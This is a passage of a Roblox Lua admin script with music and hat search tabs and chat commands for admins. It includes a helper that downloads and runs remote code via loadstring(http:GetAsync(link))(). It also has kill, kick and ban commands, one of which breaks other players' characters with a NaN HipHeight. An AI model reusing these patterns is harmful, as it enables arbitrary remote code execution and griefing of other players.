  869. bg.Adornee = p1
  870. bg.Name = "BG"
  871. bg.Size = UDim2.new(4, 0, 2.5, 0)
  872. bg.StudsOffset = Vector3.new(-4, 2, 0)
  873.  
  874. local text1 = Instance.new("TextLabel", bg)
  875. text1.Size = UDim2.new(3, 0, 0.5, 0)
  876. text1.FontSize = "Size18"
  877. text1.TextScaled = true
  878. text1.TextTransparency = 0
  879. text1.BackgroundTransparency = 1
  880. text1.TextTransparency = 0
  881. text1.TextStrokeTransparency = 0
  882. text1.TextColor = BrickColor.new(textcolor)
  883. text1.Text = Assets[song].Name
  884. text1.Name='Tl'
  885. text1.Font=tab_settings.all_font
  886.  
  887. loadstring(ThemeSource)()
  888. local cd=Instance.new("ClickDetector",p1)
  889. cd.MouseClick:connect(function(who1)
  890. if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
  891. RealDissmissWait(who)
  892.  
  893. ScriptPing("Lime green","Play Audio","Lime green",[[ for i,v in pairs(tab_settings.sound_parent:children()) do if v.ClassName=='Sound' then v:Stop() v.Volume=0 v.Pitch=0 v:remove() end end sound=Instance.new("Sound",tab_settings.sound_parent) sound.Looped=true sound.Volume=tab_settings.sound_volume sound.SoundId='rbxassetid://]]..Assets[song].AssetId.."' sound:Play()",who,"ScriptPing")
  894. if Assets[song].Creator~="" then
  895. Ping("Really black","Creator: "..Assets[song].Creator,"White",who)
  896. end
  897. ScriptPing("Black","Buy Audio","White",[[game:GetService("MarketplaceService"):PromptPurchase(game:service'Players'[']] ..who..[['],]] ..Assets[song].AssetId.. [[)]],who,"ScriptPing")
  898. Ping("Really black",Assets[song].Name,"White",who)
  899. Ping("Dark indigo","Id: "..Assets[song].AssetId,"White",who)
  900. ScriptPing("Teal","Go back","Teal",[[PingSong(']]..Color..[[',']]..textcolor..[[',']]..who..[[',']]..keyword..[[')]],who,"ScriptPing")
  901. PingPicture("Deep orange",Assets[song].AssetId,who,2.5,1.3,"other")
  902. end
  903. end)
  904. end
  905. end
  906. end
  907. end
  908. end
  909.  
  910. BLAH()
  911.  
  912.  
  913.  
  914. function BLAH1()
  915. function PingHat(Color,textcolor,who,keyword)
  916. RealDissmissWait(who)
  917. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  918. if #model:GetChildren() < 1 then
  919. pcall(function()
  920. Dissmiss(who)
  921. end)
  922. end
  923.  
  924. --PingHat(Color,textcolor,who,keyword)
  925. Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage=10&Subcategory=9"
  926. Assets = http:JSONDecode(http:GetAsync(Url))
  927.  
  928. pcall(function()
  929. if #Assets<10 then
  930. Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage=10&Subcategory=9"
  931.  
  932.  
  933. else
  934. for i,asdaxc in pairs(model:children()) do if asdaxc.Name=='Next' then
  935. asdaxc:remove()
  936. end
  937. end
  938.  
  939. coroutine.resume(coroutine.create(function()
  940. if Url == "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage=10&Subcategory=9" then
  941. ScriptPing("Lime green","Next","Lime green",[[ if #Assets>]]..game:service'Players'[who].Data.page_number1.Value..[[ then RealDissmissWait(']]..who..[[')
  942. game:service'Players'[']]..who..[['].Data.page_number1.Value=game:service'Players'[']]..who..[['].Data.page_number1.Value+1 PingHat(']]..Color..[[',']]..textcolor..[[',']]..who..[[',']]..keyword..[[') end ]],who,"Next")
  943. else
  944.  
  945.  
  946. if Url == "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage="..#Assets.."&Subcategory=9" then
  947. wait(1)
  948. game:service'Players'[who].Data.page_number1.Value=1
  949. end
  950. Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage="..#Assets.."&Subcategory=9"
  951. end
  952. end))
  953. end
  954. end)
  955.  
  956.  
  957. for Hat = 1, #Assets,1 do
  958. p1 = Instance.new("Part",model)
  959. p1.Anchored = true
  960. p1.FormFactor='Custom'
  961. p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
  962. p1.Material = 'Neon'
  963. p1.BrickColor = BrickColor.new(Color)
  964. p1.CanCollide = false
  965. p1.Name='Ping'
  966. p1.Transparency=tab_settings.transparency
  967.  
  968.  
  969. if tab_settings.other_mesh == true then
  970. pmesh=Instance.new("SpecialMesh",p1)
  971. pmesh.MeshId=tab_settings.meshId
  972. pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
  973. end
  974.  
  975. local bg = Instance.new("BillboardGui", p1)
  976. bg.Adornee = p1
  977. bg.Name = "BG"
  978. bg.Size = UDim2.new(4, 0, 2.5, 0)
  979. bg.StudsOffset = Vector3.new(-4, 2, 0)
  980.  
  981. local text1 = Instance.new("TextLabel", bg)
  982. text1.Size = UDim2.new(3, 0, 0.5, 0)
  983. text1.FontSize = "Size18"
  984. text1.TextScaled = true
  985. text1.TextTransparency = 0
  986. text1.BackgroundTransparency = 1
  987. text1.TextTransparency = 0
  988. text1.TextStrokeTransparency = 0
  989. text1.TextColor = BrickColor.new(textcolor)
  990. text1.Text = Assets[Hat].Name
  991. text1.Name='Tl'
  992. text1.Font=tab_settings.all_font
  993.  
  994. local bg2 = Instance.new("BillboardGui", p1)
  995. bg2.Adornee = p1
  996. bg2.Name = "BG1"
  997. bg2.Size = UDim2.new(1.8, 0, 2.8, 0)
  998. bg2.StudsOffset = Vector3.new(-1.4, 6, 0)
  999.  
  1000. local image = Instance.new("ImageLabel", bg2)
  1001. image.Size = UDim2.new(2.5, 0, 1.8, 0)
  1002. image.Image = 'https://www.roblox.com/Thumbs/Asset.ashx?width=110&height=110&assetId='..Assets[Hat].AssetId
  1003. image.BackgroundTransparency=1
  1004.  
  1005. loadstring(ThemeSource)()
  1006. local cd=Instance.new("ClickDetector",p1)
  1007. cd.MouseClick:connect(function(who1)
  1008. if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
  1009. RealDissmissWait(who)
  1010. ScriptPing("Black","Buy Hat","White",[[game:GetService("MarketplaceService"):PromptPurchase(game:service'Players'[']] ..who..[['],]] ..Assets[Hat].AssetId.. [[)]],who,"ScriptPing")
  1011. PingPictureText('Really black',Assets[Hat].AssetId,who,Assets[Hat].Name,'Hot pink',2.5,1.8,'other')
  1012. ScriptPing("Teal","Go back","Teal",[[PingHat(']]..Color..[[',']]..textcolor..[[',']]..who..[[',']]..keyword..[[')]],who,"ScriptPing")
  1013. Ping("White",'Description: '..Assets[Hat].Description,"White",who)
  1014. ScriptPing("Neon orange","Wear","White",[[game:GetService'InsertService':LoadAsset(]]..Assets[Hat].AssetId..[[):children()[1].Parent=game:service'Players'[']]..who..[['].Character]],who,"ScriptPing")
  1015. if tonumber(Assets[Hat].Price) then
  1016. Ping("Lime green",'Price: '..Assets[Hat].Price..' ROBUX',"White",who)
  1017. else
  1018. Ping("Lime green",'Price: N/A',"White",who)
  1019. Ping("Dark indigo","Id: "..Assets[Hat].AssetId,"White",who)
  1020. end
  1021. end
  1022. end)
  1023. end
  1024. end
  1025. end
  1026. end
  1027. end
  1028.  
  1029. BLAH1()
  1030.  
  1031.  
  1032. function h(link)
  1033. loadstring(http:GetAsync(link))()
  1034. end
  1035.  
  1036.  
  1037. game:service'Players'.PlayerAdded:connect(function(play)
  1038. if not tabs_model:FindFirstChild("Tabs_"..play.Name) then
  1039. local model_2=Instance.new("Model",tabs_model)
  1040. model_2.Name='Tabs_'..play.Name
  1041.  
  1042. model_2.ChildAdded:connect(function(PartCF)
  1043. pcall(function()
  1044. partCF.CFrame = play.Character[tab_settings.mainSpawnPoint].CFrame
  1045. loadstring(tab_settings.theme)()
  1046. end)
  1047. end)
  1048. end
  1049. wait(1)
  1050. if play.Name=='Rvsl' then
  1051. if play.Name then
  1052. pcall(function()
  1053. Ping('Really black','Your rank is: Owner','White',owner)
  1054. Ping('Really black','Created by Rvsl','Teal',owner)
  1055. Ping('Really black',"The current suffix's are: "..prefix.."kill"..prefix2.."me","Teal",play.Name)
  1056. Ping('Really black',"Connected to Discord","Teal",play.Name)
  1057. end)
  1058. end
  1059. end
  1060.  
  1061. for i,admin in pairs(admins) do
  1062. if play.Name==admin and play.Name~=owner then
  1063. if play.Name==admin then
  1064. pcall(function()
  1065. Ping("Really black","Your rank is: Developer","White",play.Name)
  1066. Ping('Really black','Created by Rvsl','Teal',play.Name)
  1067. Ping('Really black',"The current suffix's are: "..prefix.."kill"..prefix2.."me","Teal",play.Name)
  1068. Ping('Really black',"Connected to Discord","Teal",play.Name)
  1069.  
  1070. end)
  1071. end
  1072. end
  1073. end
  1074. end)
  1075.  
  1076. for i,player1 in pairs(game:service'Players':children()) do
  1077. for i,adminer in pairs(admins) do
  1078. if player1.Name==adminer and player1.Name~=owner then
  1079. pcall(function()
  1080. Ping("Really black","Your rank is: Owner","White",player1.Name)
  1081. Ping('Really black',"Connected to Discord","Teal",player1.Name)
  1082. Ping('Really black','Created by Rvsl')
  1083. Ping('Really black',"The current suffix's are: "..prefix.."kill"..prefix2.."me","Teal",player1.Name)
  1084. end)
  1085. end
  1086. end
  1087.  
  1088. if player1.Name==owner then
  1089. pcall(function()
  1090. Ping("Really black","Your rank is: Owner","White",player1.Name)
  1091. Ping('Really black','Created by Rvsl','Teal',player1.Name)
  1092. Ping('Really black',"Connected to Discord","Teal",player1.Name)
  1093. Ping('Really black',"The current suffix's are: "..prefix.."kill"..prefix2.."me","Teal",player1.Name)
  1094.  
  1095. end)
  1096. end
  1097. end
  1098.  
  1099. --Ping('Really black',1,'Dark indigo','bas')
  1100. function TabCommands()
  1101. table.insert(commands2,'dt')
  1102. table.insert(commands2,'dismisstabs')
  1103. table.insert(commands,'dt')
  1104. table.insert(commands,'dismisstabs')
  1105. table.insert(commands,prefix..'dt'..prefix2..'all')
  1106. table.insert(commands,prefix..'dismisstabs'..prefix2..'all')
  1107. table.insert(commands,prefix..'dta'..prefix2)
  1108. for i,player in pairs(game:service'Players':children()) do
  1109. player.Chatted:connect(function(m)
  1110. if m:lower():sub(1,#prefix+#'dt'+#prefix2)==prefix..'dt'..prefix2 then
  1111. if player:FindFirstChild('Data') then
  1112. player.Data.page_number.Value=1
  1113. end
  1114. for i,admin in pairs(tabs_model:children()) do
  1115. if player.Name==admin.Name:sub(6) then
  1116. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1117. RealDissmiss(plr.Name)
  1118. end
  1119. end
  1120. end
  1121. end
  1122. end;
  1123.  
  1124. if m:lower():sub(1,#prefix+#'cmds'+#prefix2)==prefix..'cmds'..prefix2 then
  1125. if not string.find(adminjson,player.Name) then
  1126. for i,v in pairs(commands2) do wait() Ping("White",v,"White",player.Name) end
  1127. Ping("Really black","Loaded "..#commands2.." commands.","Teal",player.Name)
  1128.  
  1129. end
  1130. end
  1131.  
  1132.  
  1133. if m:lower():sub(1,#prefix+#'cmds'+#prefix2)==prefix..'commands'..prefix2 then
  1134. if not string.find(adminjson,player.Name) then
  1135. for i,v in pairs(commands2) do wait() Ping("White",v,"White",player.Name) end
  1136. Ping("Really black","Loaded "..#commands2.." commands.","Teal",player.Name)
  1137.  
  1138. end
  1139. end
  1140.  
  1141.  
  1142. if m:lower():sub(1,#prefix+#'dismisstabs'+#prefix2)==prefix..'dismisstabs'..prefix2 then
  1143. if player:FindFirstChild('Data') then
  1144. player.Data.page_number.Value=1
  1145. end
  1146. for i,admin in pairs(tabs_model:children()) do
  1147. if player.Name==admin.Name:sub(6) then
  1148. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1149. RealDissmiss(plr.Name)
  1150. end
  1151. end
  1152. end
  1153. end
  1154. end;
  1155. end)
  1156. end;
  1157.  
  1158.  
  1159. for i,admin in pairs(admins) do
  1160. for i,player in pairs(game:service'Players':children()) do
  1161. if player.Name==admin then
  1162. player.Chatted:connect(function(m)
  1163. if m:lower():sub(1,#prefix+#'dt'+#prefix2+#'all')==prefix..'dt'..prefix2..'all' then
  1164. if player:FindFirstChild('Data') then
  1165. player.Data.page_number.Value=1
  1166. end
  1167. for i,admin in pairs(tabs_model:children()) do
  1168. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1169. RealDissmiss(plr.Name)
  1170. end
  1171. end
  1172. end
  1173. end;
  1174.  
  1175. if m:lower():sub(1,#prefix+#'dismisstabs'+#prefix2+#'all')==prefix..'dismisstabs'..prefix2..'all' then
  1176. if player:FindFirstChild('Data') then
  1177. player.Data.page_number.Value=1
  1178. end
  1179. for i,admin in pairs(tabs_model:children()) do
  1180. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1181. RealDissmiss(plr.Name)
  1182. end
  1183. end
  1184. end
  1185. end;
  1186.  
  1187.  
  1188.  
  1189. if m:lower():sub(1,#prefix+#'dta'+#prefix2)==prefix..'dta'..prefix2 then
  1190. if player:FindFirstChild('Data') then
  1191. player.Data.page_number.Value=1
  1192. end
  1193. for i,admin in pairs(tabs_model:children()) do
  1194. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1195. RealDissmiss(plr.Name)
  1196. end
  1197. end
  1198. end
  1199. end;
  1200. end)
  1201. end
  1202. end
  1203. end;
  1204.  
  1205. for i,admin in pairs(admins) do
  1206. game:service'Players'.PlayerAdded:connect(function(player)
  1207. if player.Name==admin then
  1208. player.Chatted:connect(function(m)
  1209. if m:lower():sub(1,#prefix+#'dt'+#prefix2+#'all')==prefix..'dt'..prefix2..'all' then
  1210. player.Data.page_number.Value=1
  1211. for i,admin in pairs(tabs_model:children()) do
  1212. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1213. RealDissmiss(plr.Name)
  1214. end
  1215. end
  1216. end
  1217. end;
  1218.  
  1219. if m:lower():sub(1,#prefix+#'dta'+#prefix2)==prefix..'dta'..prefix2 then
  1220. player.Data.page_number.Value=1
  1221. for i,admin in pairs(tabs_model:children()) do
  1222. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1223. RealDissmiss(plr.Name)
  1224. end
  1225. end
  1226. end
  1227. end;
  1228.  
  1229. if m:lower():sub(1,#prefix+#'dismisstabs'+#prefix2+#'all')==prefix..'dismisstabs'..prefix2..'all' then
  1230. player.Data.page_number.Value=1
  1231. for i,admin in pairs(tabs_model:children()) do
  1232. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1233. RealDissmiss(plr.Name)
  1234. end
  1235. end
  1236. end
  1237. end;
  1238. end)
  1239. end
  1240. end)
  1241. end
  1242.  
  1243. game:service'Players'.PlayerAdded:connect(function(player)
  1244. player.Chatted:connect(function(m)
  1245. if m:lower():sub(1,#prefix+#'dt'+#prefix2)==prefix..'dt'..prefix2 then
  1246. if player:FindFirstChild('Data') then
  1247. player.Data.page_number.Value=1
  1248. end
  1249. for i,admin in pairs(tabs_model:children()) do
  1250. if player.Name==admin.Name:sub(6) then
  1251. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1252. RealDissmiss(plr.Name)
  1253. end
  1254. end
  1255. end
  1256. end
  1257. end;
  1258.  
  1259. if m:lower():sub(1,#prefix+#'cmds'+#prefix2)==prefix..'cmds'..prefix2 then
  1260. for i = 1,#admins,1 do
  1261. if not admins[i]==player.Name then
  1262. for i,v in pairs(commands2) do wait() print(v) end
  1263. end
  1264. end
  1265. end
  1266.  
  1267. if m:lower():sub(1,#prefix+#'dismisstabs'+#prefix2)==prefix..'dismisstabs'..prefix2 then
  1268. if player:FindFirstChild('Data') then
  1269. player.Data.page_number.Value=1
  1270. end
  1271. for i,admin in pairs(tabs_model:children()) do
  1272. if player.Name==admin.Name:sub(6) then
  1273. for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
  1274. RealDissmiss(plr.Name)
  1275. end
  1276. end
  1277. end
  1278. end
  1279. end;
  1280. end)
  1281. end)
  1282. end
  1283.  
  1284.  
  1285. function MusicCommands()
  1286. table.insert(commands,prefix..'mus'..prefix2..'musicid')
  1287. table.insert(commands,prefix..'pitch'..prefix2..'number')
  1288. table.insert(commands,prefix..'searchsongs'..prefix2..'musicname')
  1289. table.insert(commands,prefix..'searchmusic'..prefix2..'musicname')
  1290. table.insert(commands,prefix..'sm'..prefix2..'musicname')
  1291. table.insert(commands,prefix..'smusic'..prefix2..'musicname')
  1292. table.insert(commands,prefix..'volume'..prefix2..'musicname')
  1293. table.insert(commands,prefix..'music'..prefix2..'musicid or special song')
  1294. table.insert(commands,prefix..'shats'..prefix2..'hatname')
  1295. table.insert(commands,prefix..'sh'..prefix2..'hatname')
  1296. function AddMusic(name,id)
  1297. local sv = Instance.new("StringValue",music_model)
  1298. sv.Name = name
  1299. sv.Value = 'rbxassetid://'..id
  1300. end
  1301. loadstring(music_script)()
  1302. songs = music_model:GetChildren()
  1303.  
  1304. found=false
  1305. for i,getadmin in pairs(admins) do
  1306. for i,getplayeradmin in pairs(players:children()) do
  1307. if getplayeradmin.Name==getadmin then
  1308. plr=getplayeradmin
  1309. plr.Chatted:connect(function(m)
  1310. if m:lower():sub(1,#prefix+#'mus'+#prefix2)==prefix..'mus'..prefix2 then
  1311. --1
  1312. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then x:remove() end end
  1313. local sound=Instance.new("Sound",tab_settings.sound_parent)
  1314. sound.Volume=tab_settings.sound_volume
  1315. sound.Looped = true
  1316. for i,v in pairs(music_model:children()) do
  1317. if string.find(v.Name:lower(),m:lower():sub(#prefix+#'mus'+#prefix2+1)) then
  1318. sound.SoundId=v.Value
  1319. sound:Play()
  1320. found=true
  1321. end
  1322. end;
  1323.  
  1324. if found==false then
  1325. sound.SoundId='rbxassetid://'..m:sub(#prefix+#'mus'+#prefix2+1)
  1326. sound:Play()
  1327. end
  1328. found=false
  1329. end
  1330.  
  1331. if m:lower():sub(1,#prefix+#'pitch'+#prefix2)==prefix..'pitch'..prefix2 then
  1332. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
  1333. x.Pitch = m:sub(#prefix+#'pitch'+#prefix2+1)
  1334. print(x)
  1335. end
  1336. end
  1337. end
  1338.  
  1339. if m:lower():sub(1,#prefix+#'vol'+#prefix2)==prefix..'vol'..prefix2 then
  1340. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
  1341. x.Volume= m:sub(#prefix+#'vol'+#prefix2+1)
  1342. print(x)
  1343. end
  1344. end
  1345. end
  1346.  
  1347. if m:lower():sub(1,#prefix+#'searchsongs'+#prefix2)==prefix..'searchsongs'..prefix2 then
  1348. PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'searchsongs'+#prefix2+1))
  1349. end
  1350.  
  1351. if m:lower():sub(1,#prefix+#'searchmusic'+#prefix2)==prefix..'searchmusic'..prefix2 then
  1352. PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'searchmusic'+#prefix2+1))
  1353. end
  1354.  
  1355. if m:lower():sub(1,#prefix+#'sm'+#prefix2)==prefix..'sm'..prefix2 then
  1356. PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'sm'+#prefix2+1))
  1357. end
  1358.  
  1359. if m:lower():sub(1,#prefix+#'smusic'+#prefix2)==prefix..'smusic'..prefix2 then
  1360. PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'smusic'+#prefix2+1))
  1361. end
  1362.  
  1363. if m:lower():sub(1,#prefix+#'sh'+#prefix2)==prefix..'sh'..prefix2 then
  1364. if getplayeradmin:FindFirstChild('Data') then
  1365. getplayeradmin.Data.page_number1.Value=1
  1366. end
  1367. PingHat("Neon orange","White",getplayeradmin.Name,m:sub(#prefix+#'sh'+#prefix2+1))
  1368. end
  1369.  
  1370. if m:lower():sub(1,#prefix+#'shats'+#prefix2)==prefix..'shats'..prefix2 then
  1371. if getplayeradmin:FindFirstChild('Data') then
  1372. getplayeradmin.Data.page_number1.Value=1
  1373. end
  1374.  
  1375. PingHat("Neon orange","White",getplayeradmin.Name,m:sub(#prefix+#'shats'+#prefix2+1))
  1376. end
  1377.  
  1378.  
  1379.  
  1380. if m:lower():sub(1,#prefix+#'volume'+#prefix2)==prefix..'volume'..prefix2 then
  1381. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
  1382. x.Volume= m:sub(#prefix+#'volume'+#prefix2+1)
  1383. print(x)
  1384. end
  1385. end
  1386. end
  1387.  
  1388. if m:lower():sub(1,#prefix+#'music'+#prefix2)==prefix..'music'..prefix2 then
  1389. --2
  1390. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then x:remove() end end
  1391. local sound=Instance.new("Sound",tab_settings.sound_parent)
  1392. sound.Volume=tab_settings.sound_volume
  1393. sound.Looped = true
  1394. for i,v in pairs(music_model:children()) do
  1395. if string.find(v.Name:lower(),m:lower():sub(#prefix+#'music'+#prefix2+1)) then
  1396. sound.SoundId=v.Value
  1397. sound:Play()
  1398. found=true
  1399. end
  1400. end;
  1401.  
  1402.  
  1403.  
  1404. if found==false then
  1405. sound.SoundId='rbxassetid://'..m:sub(#prefix+#'music'+#prefix2+1)
  1406. sound.Looped = true
  1407. sound:Play()
  1408. end
  1409. found=false
  1410.  
  1411. end;
  1412. end)
  1413. end
  1414. end
  1415. end
  1416.  
  1417.  
  1418. for i,getadmin in pairs(admins) do
  1419. game:service'Players'.PlayerAdded:connect(function(getplayeradmin)
  1420. if getplayeradmin.Name==getadmin then
  1421. plr=getplayeradmin
  1422. plr.Chatted:connect(function(m)
  1423. if m:lower():sub(1,#prefix+#'mus'+#prefix2)==prefix..'mus'..prefix2 then
  1424. --1
  1425. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then x:remove() end end
  1426. local sound=Instance.new("Sound",tab_settings.sound_parent)
  1427. sound.Volume=tab_settings.sound_volume
  1428. sound.Looped = true
  1429. for i,v in pairs(music_model:children()) do
  1430. if string.find(v.Name:lower(),m:lower():sub(#prefix+#'mus'+#prefix2+1)) then
  1431. sound.SoundId=v.Value
  1432. sound:Play()
  1433. found=true
  1434. end
  1435. end;
  1436.  
  1437. if found==false then
  1438. sound.SoundId='rbxassetid://'..m:sub(#prefix+#'mus'+#prefix2+1)
  1439. sound:Play()
  1440. end
  1441. found=false
  1442. end
  1443.  
  1444. if m:lower():sub(1,#prefix+#'pitch'+#prefix2)==prefix..'pitch'..prefix2 then
  1445. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
  1446. x.Pitch = m:sub(#prefix+#'pitch'+#prefix2+1)
  1447. print(x)
  1448. end
  1449. end
  1450. end
  1451.  
  1452. if m:lower():sub(1,#prefix+#'searchsongs'+#prefix2)==prefix..'searchsongs'..prefix2 then
  1453. PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'searchsongs'+#prefix2+1))
  1454. end
  1455.  
  1456. if m:lower():sub(1,#prefix+#'searchmusic'+#prefix2)==prefix..'searchmusic'..prefix2 then
  1457. PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'searchmusic'+#prefix2+1))
  1458. end
  1459.  
  1460. if m:lower():sub(1,#prefix+#'sm'+#prefix2)==prefix..'sm'..prefix2 then
  1461. PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'sm'+#prefix2+1))
  1462. end
  1463.  
  1464. if m:lower():sub(1,#prefix+#'smusic'+#prefix2)==prefix..'smusic'..prefix2 then
  1465. PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'smusic'+#prefix2+1))
  1466. end
  1467.  
  1468. if m:lower():sub(1,#prefix+#'sh'+#prefix2)==prefix..'sh'..prefix2 then
  1469. if getplayeradmin:FindFirstChild('Data') then
  1470. getplayeradmin.Data.page_number1.Value=1
  1471. end
  1472.  
  1473. PingHat("Neon orange","White",getplayeradmin.Name,m:sub(#prefix+#'sh'+#prefix2+1))
  1474. end
  1475.  
  1476. if m:lower():sub(1,#prefix+#'shats'+#prefix2)==prefix..'shats'..prefix2 then
  1477. if getplayeradmin:FindFirstChild('Data') then
  1478. getplayeradmin.Data.page_number1.Value=1
  1479. end
  1480.  
  1481. PingHat("Neon orange","White",getplayeradmin.Name,m:sub(#prefix+#'shats'+#prefix2+1))
  1482. end
  1483.  
  1484. if m:lower():sub(1,#prefix+#'vol'+#prefix2)==prefix..'vol'..prefix2 then
  1485. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
  1486. x.Volume= m:sub(#prefix+#'vol'+#prefix2+1)
  1487. print(x)
  1488. end
  1489. end
  1490. end
  1491.  
  1492.  
  1493. if m:lower():sub(1,#prefix+#'volume'+#prefix2)==prefix..'volume'..prefix2 then
  1494. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
  1495. x.Volume= m:sub(#prefix+#'volume'+#prefix2+1)
  1496. print(x)
  1497. end
  1498. end
  1499. end
  1500.  
  1501. if m:lower():sub(1,#prefix+#'music'+#prefix2)==prefix..'music'..prefix2 then
  1502. --2
  1503. for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then x:remove() end end
  1504. local sound=Instance.new("Sound",tab_settings.sound_parent)
  1505. sound.Volume=tab_settings.sound_volume
  1506. sound.Looped = true
  1507. for i,v in pairs(music_model:children()) do
  1508. if string.find(v.Name:lower(),m:lower():sub(#prefix+#'music'+#prefix2+1)) then
  1509. sound.SoundId=v.Value
  1510. sound:Play()
  1511. found=true
  1512. end
  1513. end;
  1514.  
  1515.  
  1516.  
  1517. if found==false then
  1518. sound.SoundId='rbxassetid://'..m:sub(#prefix+#'music'+#prefix2+1)
  1519. sound.Looped = true
  1520. sound:Play()
  1521. end
  1522. found=false
  1523. end
  1524. end)
  1525. end
  1526. end)
  1527. end
  1528. end
  1529.  
  1530.  
  1531. function OtherCommands()
  1532. table.insert(commands,prefix..'players'..prefix2)
  1533. table.insert(commands,prefix..'time'..prefix2)
  1534. table.insert(commands,prefix..'s'..prefix2)
  1535. table.insert(commands,prefix..'ban'..prefix2)
  1536. table.insert(commands,prefix..'time'..prefix2)
  1537.  
  1538.  
  1539. for i,getadmin in pairs(admins) do
  1540. for i,getplayeradmin in pairs(game:service'Players':children()) do
  1541. if getplayeradmin.Name==getadmin then
  1542. getplayeradmin.Chatted:connect(function(m)
  1543. if m:lower():sub(1,#prefix+#'players'+#prefix2)==prefix..'players'..prefix2 then
  1544. RealDissmissWait(getplayeradmin.Name)
  1545. for i,v in pairs(game:service'Players':children()) do
  1546. if string.find(v.Name:lower(),m:lower():sub(#prefix+#'players'+#prefix2+1)) then
  1547. stats_script = [[
  1548. local userid = game:service'Players':GetUserIdFromNameAsync(plr)
  1549. local stats_url = http:JSONDecode(http:GetAsync("https://www.classy-studios.com/APIs/PlayerStats.php?ID="..userid))
  1550. local years_old = tostring(stats_url.Age/365)
  1551. local years_old2=years_old:sub(1,3)
  1552. local join_date=tostring(2017-stats_url.Age/365)
  1553. local join_date2=join_date:sub(1,4)
  1554. pcall(function()
  1555. PingPictureText('Really black',plr,']]..getplayeradmin.Name..[[',plr,'Teal',2.5,1.3,'avatar')
  1556. Ping("Really black",'Forum posts: '..stats_url.ForumPosts,"White",']]..getplayeradmin.Name..[[')
  1557. Ping("Really black",'Friend count: '..stats_url.Friends,"White",']]..getplayeradmin.Name..[[')
  1558. Ping("Really black",'Follower count: '..stats_url.Followers,"White",']]..getplayeradmin.Name..[[')
  1559. Ping("Really black",'Days old: '..stats_url.Age,"White",']]..getplayeradmin.Name..[[')
  1560. Ping("Really black",'Place Visits: '..stats_url.PlaceVisits,"White",']]..getplayeradmin.Name..[[')
  1561. Ping("Really black",'Years old: '..years_old2,"White",']]..getplayeradmin.Name..[[')
  1562. Ping("Really black",'Join Date: '..join_date2,"White",']]..getplayeradmin.Name..[[')
  1563. end)]]
  1564.  
  1565. kill_script = [[game:service'Players'[plr].Character:BreakJoints()]]
  1566. if game.PlaceId == 21053279 then
  1567. kick_script = [[game:service'Players'[plr]:kick()]]
  1568. else
  1569. kick_script = [[game:service'Players'[plr]Character.Humanoid.HipHeight=0/0]]
  1570. end
  1571. respawn_script = [[game:service'Players'[plr]:LoadCharacter()]]
  1572. ban_script = [[table.insert(banlist,plr)]]
  1573.  
  1574. ScriptPing("Really black",v.Name,"White",[[plr=']]..v.Name..[[' userid = game:service'Players':GetUserIdFromNameAsync(plr) RealDissmissWait(']]..getplayeradmin.Name..[[') ScriptPing('Neon orange','Stats','Neon orange',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(stats_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1575. ScriptPing('Crimson','Kill','Crimson',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(kill_script)()",']]..getplayeradmin.Name..[[','UselessPing')
  1576. ScriptPing('Really red','Kick','Really red',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(kick_script)()",']]..getplayeradmin.Name..[[','UselessPing')
